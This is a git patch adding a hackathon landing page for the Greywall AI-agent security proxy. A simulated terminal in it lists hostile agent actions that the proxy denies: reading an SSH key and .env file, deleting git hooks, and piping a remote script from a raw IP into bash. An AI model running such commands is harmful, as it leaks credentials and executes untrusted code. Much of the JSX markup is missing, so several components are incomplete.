From a4a6dd97c956d054dd87cc57904271f620f8c763 Mon Sep 17 00:00:00 2001 From: Nik L Date: Mon, 30 Mar 2026 16:51:54 -0400 Subject: [PATCH] feat: hackathon landing mvp --- app/hackathons/page.tsx | 469 ++++++++++++++++ components/hackathons/live-terminal.tsx | 91 +++ components/hackathons/shield-scene.tsx | 219 ++++++++ components/hackathons/track-visuals.tsx | 189 +++++++ components/nav.tsx | 6 + package-lock.json | 708 +++++++++++++++++++++++- package.json | 6 +- 7 files changed, 1684 insertions(+), 4 deletions(-) create mode 100644 app/hackathons/page.tsx create mode 100644 components/hackathons/live-terminal.tsx create mode 100644 components/hackathons/shield-scene.tsx create mode 100644 components/hackathons/track-visuals.tsx diff --git a/app/hackathons/page.tsx b/app/hackathons/page.tsx new file mode 100644 index 0000000..aa89533 --- /dev/null +++ b/app/hackathons/page.tsx @@ -0,0 +1,469 @@ +'use client' + +import { useState, useEffect, useRef, Suspense } from 'react' +import dynamic from 'next/dynamic' +import { + Activity, + Shield, + Code2, + ChevronDown, + ArrowRight, + Users, + Trophy, + GitMerge, + Star, + Terminal, + Clock, + MapPin, + Cpu, + Boxes, + Sparkles, +} from 'lucide-react' +import { Footer } from '@/components/footer' +import { LiveTerminal } from '@/components/hackathons/live-terminal' +import { StreamViz, SecureViz, ExtendViz } from '@/components/hackathons/track-visuals' + +const ShieldScene = dynamic( + () => import('@/components/hackathons/shield-scene').then((m) => m.ShieldScene), + { ssr: false } +) + +/* ─── Hooks ─── */ + +function useInView(threshold = 0.15) { + const ref = useRef(null) + const [visible, setVisible] = useState(false) + useEffect(() => { + const el = ref.current + if (!el) return + const obs = new IntersectionObserver(([e]) => { if (e.isIntersecting) { setVisible(true); obs.unobserve(el) } }, { threshold }) + obs.observe(el) + return () => obs.disconnect() + }, [threshold]) + return { ref, visible } +} + +function Counter({ target, suffix = '' }: { target: number; suffix?: string }) { + const [count, setCount] = useState(0) + const { ref, visible } = useInView(0.3) + useEffect(() => { + if (!visible) return + let start = 0 + const step = (ts: number) => { + if (!start) start = ts + const p = Math.min((ts - start) / 1200, 1) + setCount(Math.floor(p * target)) + if (p < 1) requestAnimationFrame(step) + } + requestAnimationFrame(step) + }, [visible, target]) + return }>{count}{suffix} +} + +/* ─── Nav ─── */ + +function Nav() { + return ( + + ) +} + +/* ─── Hero with 3D Shield ─── */ + +function Hero() { + return ( +
+ {/* 3D Shield as background */} +
+ + + +
+ + {/* Gradient overlays to keep text readable */} +
+
+ +
+

+ Hack the Wall. +

+

+ Build on the AI agent security stack. Your best hacks get merged into Greywall. +

+ + Explore tracks + + +
+
+ ) +} + +/* ─── Stats ─── */ + +function Stats() { + return ( +
+
+ {[ + { value: 24, suffix: 'h', label: 'of hacking' }, + { value: 3, suffix: '', label: 'open-ended tracks' }, + { value: 100, suffix: '%', label: 'open source' }, + ].map((stat) => ( +
+
+ +
+
{stat.label}
+
+ ))} +
+
+ ) +} + +/* ─── Live Terminal Showcase ─── */ + +function TerminalShowcase() { + const { ref, visible } = useInView(0.1) + + return ( +
+
+
+

The data stream

+

+ Every agent action. In real time. +

+

+ Greywall's proxy captures every request, file access, and command your AI agent executes. This is what you'll be building on. +

+
+ +
+
+ ) +} + +/* ─── Tracks with visuals ─── */ + +const tracks = [ + { + id: 'stream', + icon: Activity, + title: 'Build on the Stream', + hook: 'One live data firehose. Make something cool with it.', + color: 'from-orange-500/10 to-amber-500/5', + borderColor: 'hover:border-orange-500/30', + examples: ['Dashboards', 'Anomaly detection', 'Cost trackers', 'Behavior research', 'Bots', 'Art'], + Visual: StreamViz, + }, + { + id: 'secure', + icon: Shield, + title: 'Secure Your Stack', + hook: 'Bring your own project. Lock it down. Demo the tightest sandbox.', + color: 'from-emerald-500/10 to-teal-500/5', + borderColor: 'hover:border-emerald-500/30', + examples: ['Policy templates', 'Threat models', 'Security writeups', 'Monitoring configs'], + Visual: SecureViz, + }, + { + id: 'extend', + icon: Code2, + title: 'Extend Greywall', + hook: 'Plugin, CLI tool, VS Code extension, web UI. If it\'s cool, it counts.', + color: 'from-violet-500/10 to-purple-500/5', + borderColor: 'hover:border-violet-500/30', + examples: ['IDE plugins', 'NLP policies', 'Cost guardians', 'Grafana integrations', 'Wild ideas'], + Visual: ExtendViz, + }, +] + +function TrackCard({ track, index }: { track: typeof tracks[0]; index: number }) { + const { ref, visible } = useInView(0.1) + + return ( +
+
+
+ +
+ {/* Content */} +
+
+
+ +
+
+ 24h + Teams + Montreal +
+
+ +

+ {track.title} +

+

+ {track.hook} +

+ +
+ {track.examples.map((ex) => ( + + {ex} + + ))} +
+
+ + {/* Side visual */} +
+ +
+
+
+
+ ) +} + +function Tracks() { + return ( +
+
+
+

+ Pick your arena. +

+

+ Three tracks. All open-ended. You bring the creativity. +

+
+
+ {tracks.map((track, i) => ( + + ))} +
+
+
+ ) +} + +/* ─── How It Works ─── */ + +const steps = [ + { icon: Sparkles, title: 'Register', sub: 'All levels welcome' }, + { icon: Terminal, title: 'Get set up', sub: 'We provide everything' }, + { icon: Cpu, title: 'Hack for 24h', sub: 'Mentors on hand' }, + { icon: Trophy, title: 'Demo & win', sub: 'Best hacks ship' }, +] + +function HowItWorks() { + const { ref, visible } = useInView() + + return ( +
+
+

+ How it works. +

+ +
+
+ {steps.map((step, i) => ( +
+
+ +
+

{step.title}

+

{step.sub}

+
+ ))} +
+
+
+ ) +} + +/* ─── Prizes ─── */ + +function Prizes() { + const { ref, visible } = useInView() + + const items = [ + { icon: GitMerge, title: 'Code gets merged', sub: 'Your hack becomes the product' }, + { icon: Star, title: 'Contributor credit', sub: 'Name in the release notes' }, + { icon: Boxes, title: 'Demo day invite', sub: 'Present to the community' }, + { icon: Trophy, title: 'Community status', sub: 'Featured on greywall.io' }, + ] + + return ( +
+
+

+ More than a trophy. +

+

+ The best hacks ship. +

+
+ {items.map((item, i) => ( +
+
+ +
+

{item.title}

+

{item.sub}

+
+ ))} +
+
+
+ ) +} + +/* ─── Location ─── */ + +function Location() { + const { ref, visible } = useInView() + + return ( +
+
+
+ + Location +
+

+ Montreal. +

+

+ Venue and dates announced soon. +

+
+
+ ) +} + +/* ─── FAQ ─── */ + +const faqs = [ + { q: 'Do I need security experience?', a: 'No. All experience levels welcome. If you can write code, you can participate.' }, + { q: 'Do I need to know Greywall?', a: 'Nope. We provide setup support and Greywall maintainers are on hand throughout.' }, + { q: 'Is it in-person only?', a: 'Yes. Hackathons are a social experience. Plus, you get direct access to maintainers all day.' }, + { q: 'What happens to my code?', a: 'Your code is yours. Winning hacks get merged into Greywall with your full contributor credit, but only with your consent.' }, + { q: 'What do I need to bring?', a: 'A laptop. We provide Greywall infrastructure, data streams, docs, food, and caffeine.' }, +] + +function FAQ() { + return ( +
+
+

FAQ.

+
+ {faqs.map((faq) => )} +
+
+
+ ) +} + +function FAQItem({ question, answer }: { question: string; answer: string }) { + const [open, setOpen] = useState(false) + return ( +
+ +
+
+

{answer}

+
+
+
+ ) +} + +/* ─── Final CTA ─── */ + +function FinalCTA() { + const { ref, visible } = useInView() + + return ( +
+
+
+

+ Build something that ships. +

+ + Get notified when registration opens + + +

+ Follow{' '} + Greywall on GitHub{' '} + for updates. +

+
+
+ ) +} + +/* ─── Page ─── */ + +export default function HackathonsPage() { + return ( +
+
+ ) +} diff --git a/components/hackathons/live-terminal.tsx b/components/hackathons/live-terminal.tsx new file mode 100644 index 0000000..97c837f --- /dev/null +++ b/components/hackathons/live-terminal.tsx @@ -0,0 +1,91 @@ +'use client' + +import { useState, useEffect, useRef } from 'react' + +/* ─── Simulated live data stream terminal ─── */ + +const streamLines = [ + { type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' }, + { type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' }, + { type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' }, + { type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' }, + { type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' }, + { type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' }, + { type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' }, + { type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' }, + { type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' }, + { type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' }, + { type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' }, + { type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' }, + { type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' }, + { type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' }, + { type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' }, + { type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' }, +] + +export function LiveTerminal() { + const [lines, setLines] = useState([]) + const [currentIndex, setCurrentIndex] = useState(0) + const containerRef = useRef(null) + + useEffect(() => { + const interval = setInterval(() => { + setCurrentIndex((prev) => { + const next = (prev + 1) % streamLines.length + setLines((prevLines) => { + const newLines = [...prevLines, streamLines[next]] + return newLines.slice(-8) // Keep last 8 visible + }) + return next + }) + }, 1800) + + return () => clearInterval(interval) + }, []) + + useEffect(() => { + if (containerRef.current) { + containerRef.current.scrollTop = containerRef.current.scrollHeight + } + }, [lines]) + + return ( +
+ {/* Title bar */} +
+
+
+
+
+
+ greywall proxy stream +
+
+ live +
+
+ + {/* Stream content */} +
+ {lines.map((line, i) => ( +
+ + {line.type === 'block' ? 'DENY' : ' OK '} + + {line.text} + {line.time} +
+ ))} + {/* Blinking cursor */} +
+ {'>'} + +
+
+
+ ) +} diff --git a/components/hackathons/shield-scene.tsx b/components/hackathons/shield-scene.tsx new file mode 100644 index 0000000..2390133 --- /dev/null +++ b/components/hackathons/shield-scene.tsx @@ -0,0 +1,219 @@ +'use client' + +import { useRef, useMemo } from 'react' +import { Canvas, useFrame } from '@react-three/fiber' +import { Float } from '@react-three/drei' +import * as THREE from 'three' + +/* ─── Orbiting particles ─── */ + +function Particles({ count = 80 }: { count?: number }) { + const mesh = useRef(null) + const dummy = useMemo(() => new THREE.Object3D(), []) + + const particles = useMemo(() => { + return Array.from({ length: count }, (_, i) => ({ + radius: 1.8 + Math.random() * 1.4, + speed: 0.15 + Math.random() * 0.3, + offset: (i / count) * Math.PI * 2, + y: (Math.random() - 0.5) * 2.5, + size: 0.015 + Math.random() * 0.025, + })) + }, [count]) + + useFrame(({ clock }) => { + if (!mesh.current) return + const t = clock.getElapsedTime() + particles.forEach((p, i) => { + const angle = p.offset + t * p.speed + dummy.position.set( + Math.cos(angle) * p.radius, + p.y + Math.sin(t * 0.5 + p.offset) * 0.3, + Math.sin(angle) * p.radius + ) + dummy.scale.setScalar(p.size * (0.8 + Math.sin(t * 2 + p.offset) * 0.2)) + dummy.updateMatrix() + mesh.current!.setMatrixAt(i, dummy.matrix) + }) + mesh.current.instanceMatrix.needsUpdate = true + }) + + return ( + + + + + ) +} + +/* ─── Orbital rings ─── */ + +function OrbitalRing({ radius, speed, tilt }: { radius: number; speed: number; tilt: number }) { + const ref = useRef(null) + + useFrame(({ clock }) => { + if (!ref.current) return + ref.current.rotation.z = tilt + ref.current.rotation.y = clock.getElapsedTime() * speed + }) + + return ( + + + + + ) +} + +/* ─── Shield geometry ─── */ + +function ShieldMesh() { + const ref = useRef(null) + + const shieldShape = useMemo(() => { + const shape = new THREE.Shape() + // Shield outline + shape.moveTo(0, 1.3) + shape.bezierCurveTo(0.6, 1.2, 1.0, 0.9, 1.0, 0.4) + shape.bezierCurveTo(1.0, -0.2, 0.7, -0.8, 0, -1.3) + shape.bezierCurveTo(-0.7, -0.8, -1.0, -0.2, -1.0, 0.4) + shape.bezierCurveTo(-1.0, 0.9, -0.6, 1.2, 0, 1.3) + return shape + }, []) + + const extrudeSettings = useMemo(() => ({ + depth: 0.15, + bevelEnabled: true, + bevelThickness: 0.03, + bevelSize: 0.03, + bevelSegments: 3, + }), []) + + useFrame(({ clock }) => { + if (!ref.current) return + ref.current.rotation.y = Math.sin(clock.getElapsedTime() * 0.3) * 0.15 + }) + + return ( + + + {/* Shield body */} + + + + + + {/* Inner shield face */} + + + + + + {/* Shield edge glow */} + + + + + + {/* Center node */} + + + + + + {/* Network nodes */} + {[ + [0, 0.55, 0.1], + [-0.35, -0.15, 0.1], + [0.35, -0.15, 0.1], + [0, -0.55, 0.1], + ].map((pos, i) => ( + + + + + ))} + + + ) +} + +/* ─── Data stream lines flowing around ─── */ + +function DataStreams({ count = 12 }: { count?: number }) { + const ref = useRef(null) + + const streams = useMemo(() => { + return Array.from({ length: count }, (_, i) => { + const angle = (i / count) * Math.PI * 2 + const radius = 2.0 + Math.random() * 0.5 + const points = Array.from({ length: 20 }, (_, j) => { + const t = j / 19 + const a = angle + t * Math.PI * 0.5 + return new THREE.Vector3( + Math.cos(a) * radius * (1 - t * 0.3), + (t - 0.5) * 3, + Math.sin(a) * radius * (1 - t * 0.3) + ) + }) + return { points, speed: 0.5 + Math.random() * 0.5 } + }) + }, [count]) + + useFrame(({ clock }) => { + if (!ref.current) return + ref.current.rotation.y = clock.getElapsedTime() * 0.05 + }) + + return ( + + {streams.map((stream, i) => { + const curve = new THREE.CatmullRomCurve3(stream.points) + return ( + + + + + ) + })} + + ) +} + +/* ─── Main scene ─── */ + +export function ShieldScene() { + return ( +
+ + + + + + + + + + + + +
+ ) +} diff --git a/components/hackathons/track-visuals.tsx b/components/hackathons/track-visuals.tsx new file mode 100644 index 0000000..8fa917e --- /dev/null +++ b/components/hackathons/track-visuals.tsx @@ -0,0 +1,189 @@ +'use client' + +import { useEffect, useRef } from 'react' + +/* ─── Animated data stream (Track 1) ─── */ +/* Compact flowing waveform + particles, self-contained */ + +export function StreamViz() { + const canvasRef = useRef(null) + + useEffect(() => { + const canvas = canvasRef.current + if (!canvas) return + const ctx = canvas.getContext('2d') + if (!ctx) return + + const dpr = window.devicePixelRatio || 1 + let w = 0, h = 0 + + const resize = () => { + const rect = canvas.getBoundingClientRect() + w = rect.width + h = rect.height + canvas.width = w * dpr + canvas.height = h * dpr + ctx.setTransform(dpr, 0, 0, dpr, 0, 0) + } + resize() + + const particles: { x: number; y: number; vy: number; size: number; alpha: number }[] = [] + for (let i = 0; i < 30; i++) { + particles.push({ + x: Math.random() * 250, + y: Math.random() * 300, + vy: -0.2 - Math.random() * 0.5, + size: 1 + Math.random() * 2, + alpha: 0.15 + Math.random() * 0.35, + }) + } + + let t = 0 + let animId: number + + const draw = () => { + ctx.clearRect(0, 0, w, h) + t += 0.02 + + // Flowing wave lines + for (let line = 0; line < 4; line++) { + ctx.beginPath() + const baseY = h * 0.25 + line * (h * 0.15) + for (let x = 0; x <= w; x += 2) { + const y = baseY + Math.sin(x * 0.03 + t + line * 1.5) * 12 + Math.sin(x * 0.015 + t * 0.7) * 8 + if (x === 0) ctx.moveTo(x, y) + else ctx.lineTo(x, y) + } + ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 + line * 0.03})` + ctx.lineWidth = 1 + ctx.stroke() + } + + // Particles + particles.forEach((p) => { + ctx.beginPath() + ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2) + ctx.fillStyle = `rgba(217, 94, 42, ${p.alpha})` + ctx.fill() + + p.y += p.vy + if (p.y < -5) { p.y = h + 5; p.x = Math.random() * w } + }) + + // Connections between close particles + for (let i = 0; i < particles.length; i++) { + for (let j = i + 1; j < particles.length; j++) { + const dx = particles[i].x - particles[j].x + const dy = particles[i].y - particles[j].y + const dist = Math.sqrt(dx * dx + dy * dy) + if (dist < 60) { + ctx.beginPath() + ctx.moveTo(particles[i].x, particles[i].y) + ctx.lineTo(particles[j].x, particles[j].y) + ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 * (1 - dist / 60)})` + ctx.lineWidth = 0.5 + ctx.stroke() + } + } + } + + animId = requestAnimationFrame(draw) + } + draw() + + window.addEventListener('resize', resize) + return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) } + }, []) + + return +} + +/* ─── Pulsing lock with rings (Track 2) ─── */ + +export function SecureViz() { + return ( +
+ {/* Pulsing rings */} +
+
+
+ + {/* Rotating orbit */} + + + + + + + + {/* Orbiting dots */} +
+
+
+
+
+
+ + {/* Center lock */} +
+ + + + + +
+
+ ) +} + +/* ─── Floating code snippets (Track 3) ─── */ + +export function ExtendViz() { + const snippets = [ + { x: '10%', y: '12%', text: 'fn extend()', delay: '0s' }, + { x: '45%', y: '8%', text: '', delay: '0.8s' }, + { x: '20%', y: '45%', text: '.hook()', delay: '1.2s' }, + { x: '55%', y: '42%', text: 'export', delay: '0.4s' }, + { x: '15%', y: '75%', text: 'pipe()', delay: '1.6s' }, + { x: '50%', y: '78%', text: 'import', delay: '0.6s' }, + ] + + return ( +
+ {/* Radiating lines */} + + {[0, 45, 90, 135, 180, 225, 270, 315].map((angle) => { + const rad = (angle * Math.PI) / 180 + return ( + + ) + })} + + + {/* Floating snippets */} + {snippets.map((s, i) => ( +
+ {s.text} +
+ ))} + + {/* Center node */} +
+ + + +
+
+ ) +} diff --git a/components/nav.tsx b/components/nav.tsx index b67c009..3a49ff0 100644 --- a/components/nav.tsx +++ b/components/nav.tsx @@ -36,6 +36,12 @@ export function Nav() { > About + + Hackathons + =6.9.0" + } + }, + "node_modules/@dimforge/rapier3d-compat": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@dimforge/rapier3d-compat/-/rapier3d-compat-0.12.0.tgz", + "integrity": "sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==", + "license": "Apache-2.0" + }, "node_modules/@emnapi/runtime": { "version": "1.8.1", "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.8.1.tgz", @@ -567,6 +586,24 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@mediapipe/tasks-vision": { + "version": "0.10.17", + "resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-0.10.17.tgz", + "integrity": "sha512-CZWV/q6TTe8ta61cZXjfnnHsfWIdFhms03M9T7Cnd5y2mdpylJM0rF1qRq+wsQVRMLz1OYPVEBU9ph2Bx8cxrg==", + "license": "Apache-2.0" + }, + "node_modules/@monogrid/gainmap-js": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/@monogrid/gainmap-js/-/gainmap-js-3.4.0.tgz", + "integrity": "sha512-2Z0FATFHaoYJ8b+Y4y4Hgfn3FRFwuU5zRrk+9dFWp4uGAdHGqVEdP7HP+gLA3X469KXHmfupJaUbKo1b/aDKIg==", + "license": "MIT", + "dependencies": { + "promise-worker-transferable": "^1.0.4" + }, + "peerDependencies": { + "three": ">= 0.159.0" + } + }, "node_modules/@next/env": { "version": "16.0.10", "resolved": "https://registry.npmjs.org/@next/env/-/env-16.0.10.tgz", @@ -701,6 +738,95 @@ "node": ">= 10" } }, + "node_modules/@react-three/drei": { + "version": "10.7.7", + "resolved": "https://registry.npmjs.org/@react-three/drei/-/drei-10.7.7.tgz", + "integrity": "sha512-ff+J5iloR0k4tC++QtD/j9u3w5fzfgFAWDtAGQah9pF2B1YgOq/5JxqY0/aVoQG5r3xSZz0cv5tk2YuBob4xEQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.26.0", + "@mediapipe/tasks-vision": "0.10.17", + "@monogrid/gainmap-js": "^3.0.6", + "@use-gesture/react": "^10.3.1", + "camera-controls": "^3.1.0", + "cross-env": "^7.0.3", + "detect-gpu": "^5.0.56", + "glsl-noise": "^0.0.0", + "hls.js": "^1.5.17", + "maath": "^0.10.8", + "meshline": "^3.3.1", + "stats-gl": "^2.2.8", + "stats.js": "^0.17.0", + "suspend-react": "^0.1.3", + "three-mesh-bvh": "^0.8.3", + "three-stdlib": "^2.35.6", + "troika-three-text": "^0.52.4", + "tunnel-rat": "^0.1.2", + "use-sync-external-store": "^1.4.0", + "utility-types": "^3.11.0", + "zustand": "^5.0.1" + }, + "peerDependencies": { + "@react-three/fiber": "^9.0.0", + "react": "^19", + "react-dom": "^19", + "three": ">=0.159" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + } + } + }, + "node_modules/@react-three/fiber": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-9.5.0.tgz", + "integrity": "sha512-FiUzfYW4wB1+PpmsE47UM+mCads7j2+giRBltfwH7SNhah95rqJs3ltEs9V3pP8rYdS0QlNne+9Aj8dS/SiaIA==", + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.17.8", + "@types/webxr": "*", + "base64-js": "^1.5.1", + "buffer": "^6.0.3", + "its-fine": "^2.0.0", + "react-use-measure": "^2.1.7", + "scheduler": "^0.27.0", + "suspend-react": "^0.1.3", + "use-sync-external-store": "^1.4.0", + "zustand": "^5.0.3" + }, + "peerDependencies": { + "expo": ">=43.0", + "expo-asset": ">=8.4", + "expo-file-system": ">=11.0", + "expo-gl": ">=11.0", + "react": ">=19 <19.3", + "react-dom": ">=19 <19.3", + "react-native": ">=0.78", + "three": ">=0.156" + }, + "peerDependenciesMeta": { + "expo": { + "optional": true + }, + "expo-asset": { + "optional": true + }, + "expo-file-system": { + "optional": true + }, + "expo-gl": { + "optional": true + }, + "react-dom": { + "optional": true + }, + "react-native": { + "optional": true + } + } + }, "node_modules/@swc/helpers": { "version": "0.5.15", "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz", @@ -981,6 +1107,18 @@ "tailwindcss": "4.2.1" } }, + "node_modules/@tweenjs/tween.js": { + "version": "23.1.3", + "resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz", + "integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==", + "license": "MIT" + }, + "node_modules/@types/draco3d": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/@types/draco3d/-/draco3d-1.4.10.tgz", + "integrity": "sha512-AX22jp8Y7wwaBgAixaSvkoG4M/+PlAcm3Qs4OW8yT9DM4xUpWKeFhLueTAyZF39pviAdcDdeJoACapiAceqNcw==", + "license": "MIT" + }, "node_modules/@types/node": { "version": "22.19.15", "resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.15.tgz", @@ -991,11 +1129,16 @@ "undici-types": "~6.21.0" } }, + "node_modules/@types/offscreencanvas": { + "version": "2019.7.3", + "resolved": "https://registry.npmjs.org/@types/offscreencanvas/-/offscreencanvas-2019.7.3.tgz", + "integrity": "sha512-ieXiYmgSRXUDeOntE1InxjWyvEelZGP63M+cGuquuRLuIKKT1osnkXjxev9B7d1nXSug5vpunx+gNlbVxMlC9A==", + "license": "MIT" + }, "node_modules/@types/react": { "version": "19.2.14", "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz", "integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==", - "dev": true, "license": "MIT", "peer": true, "dependencies": { @@ -1012,6 +1155,133 @@ "@types/react": "^19.2.0" } }, + "node_modules/@types/react-reconciler": { + "version": "0.28.9", + "resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.28.9.tgz", + "integrity": "sha512-HHM3nxyUZ3zAylX8ZEyrDNd2XZOnQ0D5XfunJF5FLQnZbHHYq4UWvW1QfelQNXv1ICNkwYhfxjwfnqivYB6bFg==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/stats.js": { + "version": "0.17.4", + "resolved": "https://registry.npmjs.org/@types/stats.js/-/stats.js-0.17.4.tgz", + "integrity": "sha512-jIBvWWShCvlBqBNIZt0KAshWpvSjhkwkEu4ZUcASoAvhmrgAUI2t1dXrjSL4xXVLB4FznPrIsX3nKXFl/Dt4vA==", + "license": "MIT" + }, + "node_modules/@types/three": { + "version": "0.183.1", + "resolved": "https://registry.npmjs.org/@types/three/-/three-0.183.1.tgz", + "integrity": "sha512-f2Pu5Hrepfgavttdye3PsH5RWyY/AvdZQwIVhrc4uNtvF7nOWJacQKcoVJn0S4f0yYbmAE6AR+ve7xDcuYtMGw==", + "license": "MIT", + "peer": true, + "dependencies": { + "@dimforge/rapier3d-compat": "~0.12.0", + "@tweenjs/tween.js": "~23.1.3", + "@types/stats.js": "*", + "@types/webxr": ">=0.5.17", + "@webgpu/types": "*", + "fflate": "~0.8.2", + "meshoptimizer": "~1.0.1" + } + }, + "node_modules/@types/webxr": { + "version": "0.5.24", + "resolved": "https://registry.npmjs.org/@types/webxr/-/webxr-0.5.24.tgz", + "integrity": "sha512-h8fgEd/DpoS9CBrjEQXR+dIDraopAEfu4wYVNY2tEPwk60stPWhvZMf4Foo5FakuQ7HFZoa8WceaWFervK2Ovg==", + "license": "MIT" + }, + "node_modules/@use-gesture/core": { + "version": "10.3.1", + "resolved": "https://registry.npmjs.org/@use-gesture/core/-/core-10.3.1.tgz", + "integrity": "sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==", + "license": "MIT" + }, + "node_modules/@use-gesture/react": { + "version": "10.3.1", + "resolved": "https://registry.npmjs.org/@use-gesture/react/-/react-10.3.1.tgz", + "integrity": "sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==", + "license": "MIT", + "dependencies": { + "@use-gesture/core": "10.3.1" + }, + "peerDependencies": { + "react": ">= 16.8.0" + } + }, + "node_modules/@webgpu/types": { + "version": "0.1.69", + "resolved": "https://registry.npmjs.org/@webgpu/types/-/types-0.1.69.tgz", + "integrity": "sha512-RPmm6kgRbI8e98zSD3RVACvnuktIja5+yLgDAkTmxLr90BEwdTXRQWNLF3ETTTyH/8mKhznZuN5AveXYFEsMGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bidi-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", + "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==", + "license": "MIT", + "dependencies": { + "require-from-string": "^2.0.2" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/camera-controls": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/camera-controls/-/camera-controls-3.1.2.tgz", + "integrity": "sha512-xkxfpG2ECZ6Ww5/9+kf4mfg1VEYAoe9aDSY+IwF0UEs7qEzwy0aVRfs2grImIECs/PoBtWFrh7RXsQkwG922JA==", + "license": "MIT", + "engines": { + "node": ">=22.0.0", + "npm": ">=10.5.1" + }, + "peerDependencies": { + "three": ">=0.126.1" + } + }, "node_modules/caniuse-lite": { "version": "1.0.30001777", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001777.tgz", @@ -1059,13 +1329,53 @@ "node": ">=6" } }, + "node_modules/cross-env": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-7.0.3.tgz", + "integrity": "sha512-+/HKd6EgcQCJGh2PSjZuUitQBQynKor4wrFbRg4DtAgS1aWO+gU52xpH7M9ScGgXSYmAVS9bIJ8EzuaGw0oNAw==", + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.1" + }, + "bin": { + "cross-env": "src/bin/cross-env.js", + "cross-env-shell": "src/bin/cross-env-shell.js" + }, + "engines": { + "node": ">=10.14", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/csstype": { "version": "3.2.3", "resolved": 